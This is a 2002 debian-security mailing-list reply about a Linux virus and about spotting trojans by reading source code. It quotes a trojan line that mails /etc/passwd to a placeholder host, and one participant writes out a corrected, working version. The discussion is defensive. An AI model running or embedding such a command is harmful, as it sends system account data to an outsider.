Re: does virus ELF.OSF.8759 affect debian?
On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote:
> On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > > Compile from source is a good idea too. It's amazing what you
> > > can find in the source. I found a couple of stupid Trojans
> > > that way.
> > > system("mail /etc/passwd user@badsite.fqdn");
> > Yeh, and it's buggy too....
> > Take a close look at what really happens.
>
> I'm sure it is. user@badsite.fqdn doesn't exist. ;)
>
> Seriously, I know it is. The other thing is, I use shadow most of the
> time. Still, the username information is never a good thing to share.
>
I think he is saying that it should be somthing more like
system("mail user@badsite.fqdn < /etc/passwd");
But since i dont really know c, you might not be able to use '<' in
system calls... it seems likey though. The previous version would
try to email user /etc/passwd.
Tim
--
Tim Nicholas || Cilix
Email: tim@nicholas.net.nz || ICQ# 15869961
http://tim.nicholas.net.nz/ || Dunedin, New Zealand
"Grow up, Larry. You give me too much credit." - Linus Torvalds
--
To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
Reply to: